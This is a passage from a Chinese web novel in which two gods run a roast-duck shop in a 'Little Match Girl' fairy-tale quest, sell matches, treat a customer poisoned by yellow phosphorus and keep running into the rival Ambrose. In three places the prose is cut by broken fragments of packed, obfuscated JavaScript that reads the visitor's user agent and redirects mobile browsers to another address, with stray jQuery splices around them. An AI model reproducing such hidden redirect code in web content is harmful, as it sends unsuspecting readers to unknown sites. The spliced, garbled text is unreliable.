【支线任务[经营一家烤鸭店],请二位好好利用这个冬日,好好经营这家烤鸭店。】 柯乐立马抓住系统的漏洞,“怎么算‘好好经营’?按营业额算吗?” 【不需要有多强的营业额,但要可持续发展。】 好一个可持续发展啊! “乐乐,我记得童话里卖火柴的小女孩,她擦亮第一根火柴是为了求烤火,第二根是为了求烤鸭,第三根是要找奶奶,没错吧?” “没错。”柯乐思考片刻,“那我们经营这家烤鸭店,其实也是推动剧情发展。我们是不是应该等小女孩过来?” “应该是这样。”杨鸣岐哆嗦着,“但是好冷,我有点想念泽菲尔。” 猝不及防被喂了狗粮的柯乐觉得更冷了,“你可是当代二郎神啊哥们!而且这次是对抗路,我们是对手,对手,我们为荣誉而战!” 就在这时,外面传来细小的踩雪声。 “嘘。”柯乐制止住想说话的杨鸣岐,“外面有人来了。” 在窗边悠悠着起一抹橙红色的火光,短暂地照亮了寒冷的冬夜。 柯乐和杨鸣岐往外面跑去,刺骨寒风灌进衣服,瞬间头发上就落了一层干雪。 一个小女孩穿着红色单衣,瑟缩在一圈白色的毛绒领子里,借着微弱火光的暖意闭着眼休息。 “那就是卖火柴的小女孩?”杨鸣岐偏头寻求柯乐的意见,“我们该不该把她接进来,好可怜。” “那当然,我们可真不能见死不救。”柯乐说,“拿把伞去撑她吧。” 小女孩听到店里的动静,缓缓睁开眼,意识已经开始模糊,整个人看起来摇摇欲坠,虚弱地望向他们,“我闻到了烤鸭的香气。抱歉,打扰到你们做生意了。” 杨鸣岐撑着伞将小女孩罩住,柯乐朝她伸手,“吃不吃烤鸭?” 小女孩手中的烛火摇曳,照得她稚嫩的脸庞有了几分血色,不可置信地喃喃:“第二根火柴……真的能实现愿望。” 半小时后。 柯乐看着炉内还没熟的烤鸭,吩咐在炉下吹火的厄洛斯,“小家伙,吹猛一点,这得什么时候才熟?” 杨鸣岐拿了条毯子给小女孩盖上,“你、你等、等,他、他一定、一定能烤好……的、的吧。” 他的话音刚落,内厨传来哐啷一声,紧接着是闷闷的爆裂声。 “乐乐!”杨鸣岐冲进内厨,就见硕大的壁炉已经四分五裂,柯乐的头发正往下滴着……泥土和不知名食物的残渣。 柯乐从头上拿下一块鸭的不知名部位的皮,往桶里一丢,当场宣布,“彻底废了。” 厄洛斯耷拉着,单只角显得牠异常委屈可怜,“咕啾。” “发生、生什么了?”杨鸣岐不忍直视,“我去拿扫帚打扫。” 柯乐抬手制止,“不用了哥们,你带小女孩去吃点好的吧。刚刚厄洛斯的火吹太凶,过火了。” 又过了半小时。 杨鸣岐带着小女孩回来,一边将卷帘门往下拉,一边朝内厨还在努力的柯乐喊道:“外面太冷了,所有的商贩都关店了,结果成了我们两个一起点火柴许愿了。我下碗面得了,系统这个现有餐馆里面肯定也会有一些日常的……” 又一声爆裂声让杨鸣岐停顿片刻后立马冲了进去,将灰头土脸的宿友从内厨拉了出来。 “我就不信邪了,这烤鸭我就做不成了!”柯乐用手点了点厄洛斯有点焦的头,“你烧火怎么能烧到自己头上的?” “我刚刚看到这只龙把、把自己的头伸、伸进了壁炉内。”杨鸣岐说。 柯乐:“……牠估计是觉得在内部吹会省力吧。” “乐乐,我们这样不行。”杨鸣岐替他将身上那些鸭鸭残片拿下,扫视周围几只鸭的尸.体,“我们这样自己干做,得做到二十五世纪。” “你也学会幽默了。”柯乐无奈地笑笑,拎起一旁的扫帚,“我想想,现在应该是什么世纪来着?” “十九世纪。” “这个时候确实用的工具都比较朴素,但也不至于像我们这样……肯定是方法错了,我们去拜师吧!” 系统实在听不下去,插了句: 【柯乐先生,我不得不提醒您,这王国里做烤鸭的就您独一家。】 【前任店主因为生病才让您接手,但目前他重病在床,无法为您解惑。】 杨鸣岐摊手,下了清水煮面。 小女孩安静地坐着,看着两个好心又笨拙的店主忙活。 “我没说要请教这里的人,东方这时候的烤鸭,不是有京城的全某德了吗?”柯乐捶手,“论烤鸭,还得看咱东方!鸣岐,你有攒预测点吗?我猜东方的系统都是通用款。” 杨鸣岐不假思索,“有,攒了有六点。” “那太棒了,系统!” 【小可在这里,请问有什么吩咐?】 柯乐:“系统,我们现在是一队的,预测点可以共用吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944597|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【可以的。】 “乐乐,但是我们还没找到塔罗预测点呢。”杨鸣岐摸不着头脑,“怎么预测?” 柯乐指了指外面,“找到了,预测点一直在我们身边,你往窗外看去。” 雪地中,一架马车哒哒从巷口驶来,车夫裹着黑色大衣,衣帽沿垂下,遮住他半张脸,一下一下地甩着长鞭。 “十秒一甩。”柯乐的食指在窗沿上打着节拍,“十五分钟一趟的马车,马蹄的节奏丝毫不乱,真的不像一辆正常的马车。鸣歧,用你那透视眼看看,这马车里头有什么。” 柯乐让出位置让杨鸣岐趴在窗口。 杨鸣岐指尖在眉心一点,一只布满血色的眼球缓缓凸显出来,显得有些诡异。 马车越发近了,杨鸣岐的第三只眼不断滚动,“里面正中央摆着一张蒙着布的桌子,桌子旁摆着一个木盒,看起来有点像旧时候的首饰盒……赶紧截住他!” 话音刚落,一条红线破空而出,绑住赤马的前蹄。 “吁——”车夫拉紧了缰绳,赤马的前蹄在雪地里刨几下。 “塔罗预测官您好,”柯乐保持着基本的礼貌,挡在马车前,“请让我们在您这里消耗预测点。” 车夫没有应答,跳下马车,然后掀开帘子,弯腰钻进马车。 “我们跟上。” 柯乐和杨鸣岐跟着进了马车。 车夫将遮住桌子的黑布扯开,露出里面的预测桌面。 旁边的木盒也被他打开来,果然里面装着四叠塔罗牌。 车夫从木盒里取出一副表面带着眼睛的牌面,披开牌面,声音像古老的钟,“请。” “我们想要道具,直接兑换可以吗?”柯乐问。 “您不想有一个答案吗?关于您的对家的任何信息,我都可以卖出。”车夫说。 “安布洛斯?算了,我不感兴趣。”柯乐直截了当,“还是赢过他比较重要。” “道具也需要通过卡牌,让宇宙来决定。”车夫说。 “这把是你的局,”柯乐偏头看杨鸣岐,“你来。” 其实他非常清楚他的衰神体质,对抽卡这种事情还是抱有一定的敬畏之心。 杨鸣岐抽了三张。 “皇冠宝座、火种、众人的匍匐和俯首称臣。”车夫将牌收起,“您的心灵与宇宙想通,道具将送至您的身边。” 车夫自顾自坐上马背,不管柯乐在后面追着问:“您现在不能给吗?我们真的急需一张烤鸭配方!” 杨鸣岐拉住他,“乐乐,但是你不觉得他说的确实有点关系吗?而且我也是一直默念着‘烤鸭配方’。” 柯乐一回头,和一只凸眼打了个照面,一个哆嗦。 “哥们,收起你的神通。”柯乐啧了一声,“平时叫你在宿舍不要卷,你偏要,你看,眼睛都布满了红血丝,养养吧。” “哦。”杨鸣岐弱弱地应了一声,牵着小女孩往他身边推,“想吃面了。” 杨鸣岐刚抱怨完,从店里突然传来一道浑厚的声音。 “面点?这是我们的特色,或许,来做一下醒狮酥,如何?” 27. 【28%】 系统没有给他们一张配方,却直接给了他们一个重磅强者? 柯乐一回头,一个穿着中式短褂,戴着灰黑色便帽的中年男人笑吟吟地看着他们,“这里真冷,不进来学?” 柯乐定睛一看,男人的短褂上绣了红字——“全” 这把稳了! * 【获得京城菜谱X1(内含满汉全席套餐),已放入背包。】 做烤鸭,明火烤制,使用果木烟熏增加风味,无法选用人工育肥的填鸭,就只能控制好温度烫皮,挂糖也要有一定的技巧。 这是全聚德老师傅教的办法。 “乐乐,下午要开店了,你这回不能将炉炸了。” “那不会,”柯乐低头看正在吹热火的厄洛斯,“之前是因为不知道得热炉进鸭,先进鸭再烧炉才会炸。” 下午三点,烤鸭的香气从小店飘出,陆陆续续有过路的人被吸引过来。 “这边可以试吃,”柯乐将皮片了下来,夹在卷饼里,夹上大葱,刷上甜面酱,递给停留的过路人,“升级版烤鸭,北京烤鸭,好吃再来哦。” 路人半信半疑接过,吃了一口,“欧这……这是什么人间美味,烤鸭还可以这么吃的?这家店比之前的都好吃,都过来——” 瞬间周边的人都围了过来。 杨鸣岐帮着柯乐卷饼,柯乐腾出手,将格子里的火柴盒掏出,“大家,凡是购买一盒火柴的,烤鸭可以打九点五折!看看了哎!” 这个时候,肯定是要捆绑销售了呀! “这……虽然我买这火柴没用,但算下来确实好像比原先单只烤鸭便宜,我要买。” 路人纷纷效仿,柯乐和杨鸣岐简直是真.做完你的做你的。 “您的烤鸭套餐,里面有配套卷饼大葱和……” 柯乐装袋的动作一顿。 修长的手指勾住了袋子,他眼尖地发现此人的手指上戴着那个熟悉的扳指。 他猛地抬头,安布洛斯一身铠甲在阳光下反着光,金发披散着,在皮毛光亮的黑马上弯腰,接过了他的烤鸭。 在安布洛斯的身边,还有另外一个男人。 男人一头金白色直发,面容冷峻,较为平直的唇显得他甚至比安布洛斯还要冰冷。 男人的眼神直勾勾的,如同结霜,他看的方向是…… 人头攒动,人群中有人先行惊呼:“伯爵大人,是伯爵大人!” “乐、乐乐,我我我想、想走,我们不卖、卖了,可以吗?”杨鸣岐拉住他的袖子,往他身后躲,“泽菲尔好像、好像生气了。” 柯乐一听这话就来气,挡在杨鸣岐身前,“太阳神?你和杨鸣岐现在是竞争关系,他不需要怕你。” “柯乐。”安布洛斯微微皱眉,“别人的家事。” “在场的人们,这家烤鸭店违规捆绑,”泽菲尔面无表情地宣判,“按照基纳律令,罚款两百银币。” 安布洛斯在一旁随意地捏着缰绳,一副事不关己的模样,“现缴。” 什么?两百银币???这已经抵上烤鸭店一天的营业额了! 说对抗路,但没想到是对抗火柴买卖啊!而且这身份很明显就不是公平的! “安布洛斯!”柯乐怒火中烧,手中的烤鸭砸在盘子里,脆皮一下酥了,“你们西方神明真的不讲武德,你们为什么就有伯爵的身份??!” 安布洛斯耸肩,“或许这应该问你们的大帝。” “维塔,你怎么了?醒醒!” 柯乐循声看去,方才刚拿了烤鸭和火柴的男人猝不及防倒地,同伴慌忙摇晃他,却仍旧不见醒的迹象! “无良商家!”男人的同伴直接指着跑过来的柯乐骂,“这烤鸭里一定有毒!” “有毒?天哪我刚刚吃了一块!” “我也是……” 众人匆忙退离,形成一个以烤鸭店为中心的半圈,生怕感染了什么传染病,慌慌张张把手中的烤鸭往地上和烤鸭店内扔! “完完、完了,这个时代可、可没有120打啊!” 杨鸣岐也是手忙脚乱,一根烤鸭腿砸了过来,他抬手来挡,一道寒光骤然闪过。 马背上的白发男人拔箭刺穿,连同剑一块铛一声砸到地上,直挺挺插入地面缝隙。 柯乐微微皱眉,看向马背上神色冷漠的两位西方神明,安布洛斯似乎是感受了他的注目,也偏头与他对视。 毕竟人看起来真是吃了烤鸭出事的,柯乐虽怀疑这两位,但还是先过去查看情况。 这位叫维塔的男人面色发青,气管没有卡住异物。 柯乐询问维塔的同伴:“他会不会是有心脏类的疾病?” “没有啊,他就平时肠胃不大好,但吃个烤鸭就直接晕倒?!”维塔的同伴一下怒了,“那证明你这里确实是病毒生产地!” 半圈里走出一个女人,看起来是明事理的,“不不不乌恩,我的肠道也不好,但是刚刚吃了并没有问题,会不会是维塔他……” 乌恩大骂着起身,“放屁!你们是串通起来的?觉得我们讹人?” 他直接往前冲,揪住柯乐的衣领,“你是老板?” 柯乐眉心直跳,指尖红线悄悄钻出,就要往乌恩的手腕上捆,忽然寒光一闪,剑尖挑开红线,也将乌恩和柯乐强行分开。 安布洛斯将剑横在二人中央,剑尖往倚在柱子旁病患的方向推了推。 柯乐明白他的意思,跑上前去。 维塔侧脸耳旁有一道浅黑灰色痕迹,柯乐抬起他的手看,手上和指甲缝里也沾了黑灰色的粉末。 在维塔身旁,还有三根燃烧过的火柴。 柯乐回头问:“他刚刚点过火柴?” “他就点了一下。”乌恩不大服气,又迫于安布洛斯的威严,不敢再往前,“怎么,你们给的东西,你自己都怀疑?” 柯乐确实在怀疑。 烤鸭他们自己都吃过,并没有出现相关症状,那唯一的可能是…… “黄磷。”柯乐对杨鸣歧喊,“在内厨找找有没有芥末,泡水催吐!” 在这个时代,小女孩卖的火柴很可能是掺了黄磷来帮助燃烧。 而小女孩的火柴黄磷可能是极度过量,维塔拿了火柴,或许是拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944598|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来端详,然后就直接拿起烤鸭来吃。 不干不净,有时候真会吃出毛病。 柯乐犹豫要不要和周围人说,毕竟这会影响到任务进度。 但也仅仅思考了几秒,在维塔一大碗芥末水喝完开始呕吐后,他还是将真相公布于众,并将所有的火柴都重新回收。 外围的人经过此事都不怎么信任他们,也散了个七七八八。 柯乐扫了眼两位“骑士”,安布洛斯目光沉沉,与他对视。 “算了,你们走吧,谢谢你们,我知道不是你们干的。”柯乐摊手,“你们不屑于用这种卑劣的竞争手段。” 他低头看旁边自知做错事的小女孩,弯腰与她平齐,“告诉我,你的火柴是在哪里进货的?” 小女孩将红衣帽往下拉了拉,“我都是在东边摩乐花园旁的工厂拿的,但是之前真的没有出现过这种状况。” 杨鸣岐问:“这些火柴,你在哪一天拿的?” 小女孩思索片刻,怯生生地说:“13日下午……当时好像换了一位卖给我火柴的阿姨。” 安布洛斯的声音横插进来,笃定道:“黑袍,遮住眉眼。” “对的对的。”小女孩点头,瞻仰着说话的这位金发骑士,声音也不由变得细了些,“我和往常一样去拿,一次也是一袋,唔……就是刚刚的这一袋。” “那估计就是上一个副本厄尔尼诺说的那个传教士,那个女人。” 上一次给了厄尔尼诺1号试管的远洋女人,这次又卖给了小女孩这些火柴。 虽然不能自夸说他们是救世主,但若不是他们的出现,这几个世界或许会走向崩坏的结局。 柯乐把这堆火柴都盯出花来。 这些东西卖是肯定卖不了的,只能销毁,那主任务就不可能完成了…… 【这些火柴不计入任务内。】 柯乐:??那什么才是计入的? 仿佛听到了柯乐的疑惑,小女孩拉住柯乐的衣袖,“哥哥,这些不能卖,我会叫邻居帮忙销毁,但是我仓库里的那些都没有问题的,是之前屯的。” 柯乐&杨鸣岐:…… 比较善会表达的柯乐当即瞪大了眼睛,“什么?你还有一仓库的火柴??!!!” 安布洛斯的嘴角扬起一个微妙的弧度,扬鞭朝仍旧面无表情的泽菲尔道:“伯爵大人,我们走,他们这次输定了。” “安布洛斯,为什么一定要阻止我们卖?”柯乐嘟囔着。 安布洛斯拉了缰绳,俯身扫了柯乐肩头的小龙一眼,小龙立马哇哇叫,被他摸了摸头就安静了。 他挠了挠小龙的下巴,清香迎面而来,柯乐的身体一僵。 安布洛斯看起来心情不错,“秘密。请月老先生遵守系统的对抗规则,不是吗?” 小女孩带着两位东方神仙到了自家仓库。 防尘的布一掀,层层叠叠的火柴纸箱就这样立在他们面前。 柯乐当即手脚发麻,卡顿着和杨鸣岐四目相对。 系统,你说帮助小女孩卖滞销的火柴,也没说卖火柴的小女孩是个批发商啊! 28. 【28%】 冬夜,烤鸭店的炉子被用来烤火。 厄洛斯喜欢火苗,火星跳动一下牠就吹一下。 小女孩蹲在烤炉边暖手,突然想到什么,回头对他们说:“哥哥,我得去看我的外婆,今天是她的生日。” 柯乐没转过弯来,音调上扬“嗯”了一声,“你的奶奶不是已经……” “是外婆,哥哥,今天是她的八十岁生日,”小女孩的声音听起来过于可怜,“爸爸妈妈都不在了,她就只剩我一个人了。” “那好吧,你是本地人,认识路还好一些,”柯乐扫了眼时间,天色还不算太晚,他将剩下的面饼塞给了小女孩,又给她装了一筐鸡蛋,“路上小心点,给外婆煮一碗长寿面。” 杨鸣岐顺带着嘱咐道:“要打两个蛋。” “好的,哥哥们,我明天中午就能回来帮忙,谢谢你们。” 小女孩提着篮子走后,柯乐和杨鸣岐进行了一次复盘。 烤鸭店营业第一天,可谓是颗粒无收; 并且经过这个翻车事故,要再通过这种捆绑的方式卖火柴可谓是天方夜谭; 如果要将小女孩的火柴卖出,这样零售的手段一定是行不通的。 “那就只剩一种方式了。”柯乐拍拍杨鸣岐的肩,郑重道,“去拉合作吧,亲爱的宿友。” * 经过柯乐死皮赖脸地多方打听,得知铂顿庄园的主人基本上是垄断基纳王国的葡萄酒市场,在王国内的名声可谓响当当。 如果是他出手,这堆火柴简直是小问题。 梧桐林荫道漫长,仆人来来往往,杨鸣岐像兔子一样把自己藏在毛绒围巾里,被柯乐掏了出来。 “葡萄美酒夜光杯,你知道下一句是什么吗?”柯乐拍了拍将脸埋在毛绒围巾里的杨鸣岐,让他直视宽阔的灰岩台阶。 仆人推着刚摘下的紫葡萄从他们身旁经过,杨鸣岐往藤蔓架上靠,努力给人让出一条道,露出一双眼睛,对着柯乐摇了摇头。 “烛光晚餐马上催!”柯乐揽过社恐二郎神,“火柴一划,哎,仪式感不就来了?” 杨鸣岐往后躲,害得柯乐像拐.卖.儿童的。 柯乐皱眉,上下打量他,“你这样,怎么靠你变魔术?” 杨鸣岐声音从围巾里传出,“一定要、要魔术吗?” “是的。据我了解,庄园的主人德曼先生就喜欢看人表演魔术。”仆从经过瞟了二人一眼,柯乐压低声音,“我也是递了以魔术为名头的拜访卡才让德曼先生接待我们的。” “你就是想蹭吃蹭喝吧……”杨鸣岐糯糯地说。 “话不能这么说,进去吧鸣岐,”柯乐画饼,“我们一定会胜利的。” 仆人将两人引到长桌餐厅,杨鸣岐不敢离开柯乐,也不环顾四周,一直半贴着他。 桌上烛火悠悠跳动,壁炉的爆裂声在空旷的空间内格外地明显。 爽朗的笑声在身后响起,柯乐不由转头去看。 金线刺绣长袍、袖口点缀着珐琅纽扣,手上拿着白色巾帕。 柯乐端详着这个大大咧咧的男人,或许是这人有黄种人的血统,他是越看越顺眼。 “柯乐先生?”男人拉开主座的椅子,“不得不说,你很有创意。” 柯乐瞬间端坐,大腿绷紧了,假装自己也是富贵人家出来的。 他也是第一次和人谈生意,操着一口半吊子英语,不敢让人看出落于下风,一只手垂下在桌子下微微颤抖,“德曼先生,我们的魔术或许是您见过的天花板级别了。当然,魔术是我们与你相见的门槛,想谈一笔生意是我们的最终目的。” 德曼举着酒杯轻晃,笑道:“你倒是很诚实。你的魔术只要足够亮眼,我可以帮忙的,一定帮忙。” “那我先拿出我的诚意。”柯乐微笑着。 系统,雪茄雪茄! 【好的,这就为您从背包内取出上等雪茄。】 一根雪茄瞬间出现在柯乐指尖,“德曼先生,这根雪茄可不一般——它深海凝萃,或许这个王国独有这一根。” “哦?”德曼仍旧是笑着,“那你们是如何获得的?” “我们是来自异世界的旅行者。”柯乐的语气真假难辨,“这是我在另一个国度获得的。” 他说出的话还是让德曼哈哈大笑,“深海凝萃?柯乐先生,或许你这个魔术有点老套了,这雪茄一定先藏在了袖子里。请你拿出你的真本事。” 系统,有人说你老套了。 【小可代表着天庭和天堂,不能让他人看不起。】 一套女仆装从天而降,德曼瞬间瞪大了眼睛,目光在女仆装和柯乐的身上来回游移。 柯乐无奈地闭上眼睛:……救命,放过他吧,他再也不diss了。 “欧,柯乐先生,拥有有趣的灵魂是魔术的精髓。”再睁开眼时,柯乐对上一道欣赏的目光,“继续,我就好这口。” 还真是直言不讳啊大哥! “德曼先生,您这里有没有大箱子?”柯乐将社恐二郎神从围巾里捞了出来,“我这位朋友可以看到里面的东西,并且准确描述给您听。” “我我我……”杨鸣岐被柯乐在后背轻轻拍了一下,突然鼓起勇气,“对。” “有趣的灵魂,这年轻人。”德曼笑道,“箱子是我随便准备,里面装的是什么都能猜出来?” 杨鸣岐有柯乐撑腰仿佛就有了底气,将围巾拉下,说:“对的,都可以。” “好,好!”德曼颇为欣赏,眉眼笑弯,“过几日王宫婚宴,如果二位真有这本事,我可以引荐一番。” 德曼让仆从去准备道具,一边招呼着他们吃饭,“我这里的菜,可是王国的其他地方都没这么好吃的,就连王宫里的也没有。” 仆从将菜分给了主客,柯乐拿起刀叉,看着面前的菜,“烤鸭?” “是的,先生。”仆从介绍道,“我们的厨师从海外学习回来,做的这烤鸭皮脆爆汁。” “德曼先生,”柯乐抿了一口红酒,“我们那小店,您或许没有尝过,但小店发生的事情您应该听说过。其实那是有心之人陷害。” 德曼若有所思,“或许你们真的需要王宫的帮忙,只有处于高位的人才能帮你证实你的正确。” “那就先谢谢德曼先生了。”柯乐像大人物一样微微点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944599|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>* 德曼真的很喜欢魔术表演。 他在别墅三层设置了一个专门的魔术表演台,台下是两排观赏位。 餐后,德曼将二人带到表演区,仆从将一个电饭煲那么大的黑箱推了上来。 “我这位朋友怕见人,先生您刚刚也应该有所体会。”柯乐从背包内取出那顶当初献给红皇后的高帽,“这个给他戴上,他看不见台下观众,就不会紧张。” 他将高帽给德曼检查,德曼将帽子拿起朝里看,然后伸手在帽内四处敲敲,“嗯,看起来是没有机关的。” 柯乐帮助杨鸣岐戴上帽子。 杨鸣岐比安布洛斯的肩宽要窄上一些,头也比他的要小一点,这顶至高无上的帽子戴在他头上,简直…… “欧,天哪,你的朋友戴这顶帽子就像一个不大聪明的匪贼。” 德曼准确地说出了柯乐的心声,柯乐一时没忍住噗嗤笑出声,又觉得不能这样说好友,于是轻轻拍了拍杨鸣岐的肩,“你真可爱,去吧皮卡丘。” 杨鸣岐抬手在眉心点了一点,一条裂缝缓缓张开,一只眼球破开皮肉,悠悠转动。 “描述一下吧,鸣岐,那箱子里是什么?”柯乐说。 事实上,柯乐知道,杨鸣岐看到的东西是会有些模糊的,是色块和轮廓的拼接,有种意识流的感觉。 简单点来说,就是杨鸣岐很喜欢在宿舍熄灯后,用他的第三只眼看小说,结果给熬近视加散光了。 杨鸣岐:“这个东西是不规则形状的,由很多很多黄色的小格子组成,有黏稠的液体滴落,很多东西小小的虫子飞来飞去。” 柯乐迅速接话:“蜂巢。” 德曼将叉葡萄的银叉放下,身体前倾,“哦?有点东西,再换一个。” 仆从推上来一个同前面一样大小的木箱。 德曼道:“这木箱有双层,这回看看他探物的本事如何。” “有八条腿,正在蠕动……” “章鱼。”柯乐不假思索。 “真的有本事。”德曼抿嘴点头,“这是我的一个好友给我带的礼物,来自远洋。” “哦?德曼先生,你这好友挺有品味。”柯乐附和着,心里却隐隐觉得有些不大对劲,说不出来的怪异。 “接下去是重磅了。”德曼命两个仆从一同将一个大黑箱推出,黑箱上盖着红布,“请杨先生再看看。” 杨鸣岐的背影一僵,身子往前探去,好像要努力看清那黑箱里装的是什么。 柯乐和他同住了两年,对他这位社恐宿友的小动作一清二楚,也察觉到异样。 他回头问德曼:“里面该不会是什么恐怖的东西吧?” 德曼耸了耸肩,笑笑不语。 “怎么了?”柯乐顺着杨鸣岐的背,“你描述出来,你看到了什么。” “这东西有、有一米八九的样子……顶上是一片、一片金、金色,再往下是绿、绿色的,像宝石一样……” 等等等,这色块搭配?怎么总感觉在哪里见过?? 柯乐握住杨鸣岐的肩,“你直白点说。” 杨鸣岐顿了顿,“是安、安布洛斯。” 29.【28%】 黑箱子轻晃,滋啦一声,一柄长剑从内破开箱子,霎时箱子便被分割成两半。 安布洛斯身披锦袍从黑盒内走出,金发在煤油灯的照耀下似在发光,也衬得他的皮肤更加白皙。 “欧安布洛斯,我亲爱的好友。”德曼起身朝安布洛斯张开双臂,“好久不见了。” 安布洛斯也算给面子,嘴角微微上扬,但并没有给予德曼相对的拥抱,“下午刚刚见过。” 安布洛斯,怎么又是他! “安布洛斯,这两位的魔术表演特别厉害,也很特别。”德曼侧身介绍柯乐,“这位是伟大的魔术师柯乐先生。” 他又将目光转向杨鸣岐,在介绍这个头顶高帽的男孩时总带着笑意,“这位魔术师……是杨先生。” 安布洛斯打量坐着的柯乐,微微点头,将德曼的话重复一遍,“原来这位是伟大的魔术师。” 柯乐的脚指头尴尬地蜷缩,但颔首也朝他微笑,“这位魔术助理名叫安布洛斯,真是难记的名字。” 柯乐上前帮杨鸣岐拿下高帽,揽着他的肩低声说:“他绝对是来阻止我们售卖火柴的,我们待会先不提起这件事,找机会先撤。” “两位魔术师先生,你们有什么不能和我们谈的?” 冷冷的声音响起,穿透高帽到了杨鸣岐耳朵里,吓得他握住柯乐帮他的手,却发觉后背寒意阵阵,“我我我这、这样就行。” “这位是我的多年好友安布洛斯,王国里鼎鼎有名的贸易商,两位魔术师不必害怕,都是自己人。”德曼以为他们怕陌生人,试图安抚,“或许你们想要的……” “我们想要的是和德曼先生您交朋友,其余的都是题外话。”柯乐打断德曼的话,“改日还请您光顾小店,小店还要整顿开业,我们就先走了。” “哎等等,你们是在城墙根小镇那里的烤鸭店?”德曼叫住他们,“那你们就更应该和安布洛斯打个招呼。” 嗯?这两者有什么关系吗? 但既然德曼都硬要撮合,如果这时让他在好友面前丢了面子,那岂不是前功尽弃? “安布洛斯先生。”柯乐咬咬牙,回头朝安布洛斯扬起一个灿烂的笑容,“以后还请多指教。小店新开,实在是忙得不可开交,这次来只是简单地和德曼先生做魔术的交流,以后有机会还请先生多指教。” 安布洛斯回以他一个微妙的笑容,唇角微微勾起,“不必客气。” 一阵寒意直冲天灵盖,柯乐强忍剧烈哆嗦的冲动,匆匆道别。 他们行走在白雪中,周围的马车跑得飞快。 “我们没钱,不然就可以坐马车了。”柯乐叹道。 但那种电视里的玛丽苏情节没有出现,没有一辆劳突然就停在他俩面前。 他们硬生生冻到城墙根小镇,来往的马车少了很多。 厄洛斯从柯乐的袖子里钻出,呼呼朝他们吹暖风。 忽然柯乐额头一痛,他以为自己撞上了一面墙,抬头一看面前却是空荡荡的,什么都没有。 他只能看到皇宫屹立在不远处的主镇上,在雪夜中耀眼生辉。 杨鸣岐抬手摸了摸,眉头微皱,整个人都显得认真了几分,“好像有个什么结界?” 结界?为什么在一个童话故事里会有结界,难道是bug? 柯乐:“系统,出来说话。” 【这是另外的价钱。】 心大的柯乐&杨鸣岐:……算了,那就当是bug吧。 “烤鸭店究竟要怎么样才能开起来?”柯乐企图分散注意力,“德曼这条路只能是预备,毕竟很可能被安布洛斯堵死。” “要么就真的自己能进到王宫去寻求佐证,就像名人代言。”杨鸣岐的天眼外皮肤太薄,只好用手捂着不让它冻伤,这个动作显得有些滑稽,“要么就自己成为名人……我们店旁边、旁边的那、那家店是不是新、新的?” 柯乐的脚步随声顿住。 在烤鸭店旁边的店面卷帘门开了一条足够一人通行的路,里面的人似乎听到了外面的动静,门晃了晃。 柯乐呼吸近乎凝滞。 一只修长苍白的手握着卷帘门,指尖抵着门往上扒,而后一抹熟悉的高大身影猫着腰从门下钻出。 “安布洛斯??”柯乐太阳穴突突跳了跳,“怎么又是你!还有完没完了?” 安布洛斯的绿眸在黑暗的雪夜中就像头狼的眼睛,此刻随着他的面部肌肉拉扯,眼角微微往上吊,“德曼提示过你的,月老先生。” ——“那你们就更应该和安布洛斯打个招呼。” 柯乐一捶大腿,他怎么还是这么不长心眼啊! 他掏出钥匙开门,好几遍才插进锁孔,刷拉一声将门往上推,音量不禁提高了些,“安布洛斯,我不管你是何用意,我们始终相信,保持好品质就能够让买家认可。” 安布洛斯扬起音调“哦”了一声,“期待。” * 咻—— 火柴一划,响亮的爆炸声伴随着白烟火的明亮,让整个城墙根小镇热闹了起来。 “这里是小可萌萌熊~请大家过来看看呀!” 一个巨型的熊玩偶包裹得严实,怀着抱着一个穿着红粉女仆装,头戴黑色假毛绒耳朵的男生。 熊玩偶的手正搭在穿着女仆装的男生裸.露的白皙软懦肚子上,微微摇晃,替他遮挡寒风。 柯乐真的豁出去了。 他蜷起拳头,像招财猫那样,“小可的烤鸭店童叟无欺。” 【……柯乐先生,能不能换一个名字,有点羞耻。】 “不行,系统,都是你给的支线任务,让我被迫卖艺的,你还敢说?”柯乐回怼。 杨鸣岐在熊玩偶头套里流着冷汗,操控着熊爪抱紧了冻得有些瑟缩的柯乐,“乐、乐乐,你、我、你……我们这样真、真自己、自己成为名、名人了。” “天,好可爱的熊熊!”一个白头发的女生从马车上跳下,小跑过来,“你们在卖什么呀?” “烤鸭。”柯乐示意杨鸣岐松开他去拿烤鸭,“刚出炉的烤鸭,皮脆、爆汁——biu!” “烤鸭?”女生犹豫,“但是不是有人吃了刚出事?” 另一位女生随着从马车上跳下,拉住她,小声说:“你忘了,昨天这里才有人差点死掉。” “不会的两位漂亮的女士,”柯乐自己雕了脆皮吃了一口,“我自己也吃的哦。” “好可爱!”女生再忍不住,“我能摸摸你的耳朵吗?” “当然可以。”柯乐弯腰低头,让女生揉揉他的假熊耳朵。 